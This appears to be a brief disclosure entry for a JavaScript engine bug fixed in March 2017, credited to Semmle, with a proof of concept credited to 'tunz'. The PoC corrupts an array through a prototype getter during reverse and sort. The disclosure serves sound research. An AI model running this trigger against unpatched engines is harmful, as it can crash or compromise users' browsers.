- Fix: Mar 2017
- Credit: Semmle Inc
PoC from tunz
let arr = [];
arr[1000] = 321321;
let proto = {};
Object.defineProperty(proto, "0", {get: function() {
arr[2000] = 0x41414141;
return 123;
}});
arr.__proto__ = proto;
Array.prototype.reverse.call(arr);
Array.prototype.sort.call(arr);